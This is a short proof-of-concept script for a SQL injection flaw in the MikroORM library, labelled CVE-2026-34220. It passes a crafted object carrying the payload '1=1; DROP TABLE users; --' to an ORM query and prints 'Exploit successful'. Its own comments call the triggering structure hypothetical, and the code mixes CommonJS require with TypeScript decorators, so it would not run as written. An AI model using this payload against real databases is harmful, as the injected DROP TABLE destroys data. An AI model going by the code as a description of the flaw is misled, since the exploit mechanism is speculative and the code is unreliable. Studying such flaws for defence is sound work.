CVE-2026-34220

// Vulnerable concept for CVE-2026-34220 // This demonstrates how a crafted object might be interpreted as raw SQL const { MikroORM } = require('@mikro-orm/core'); const { Entity, PrimaryKey, Property } = require('@mikro-orm/core'); @Entity() class User { @PrimaryKey() id!: number; @Property() name!: string; } async function main() { const orm = await MikroORM.init({ entities: [User], dbName: 'test_db', type: 'postgresql', // Example database type }); const em = orm.em.fork(); // In vulnerable versions, an object like this might be treated as a raw SQL fragment // instead of a safe parameter, leading to SQL Injection. const maliciousInput = { // Hypothetical internal structure that triggers the vulnerability __raw: "1=1; DROP TABLE users; --" }; try { // If the ORM interprets 'maliciousInput' as raw SQL: // SELECT * FROM users WHERE 1=1; DROP TABLE users; -- const users = await em.find(User, maliciousInput); console.log('Exploit successful:', users); } catch (e) { console.error('Error:', e); } finally { await orm.close(); } } main();
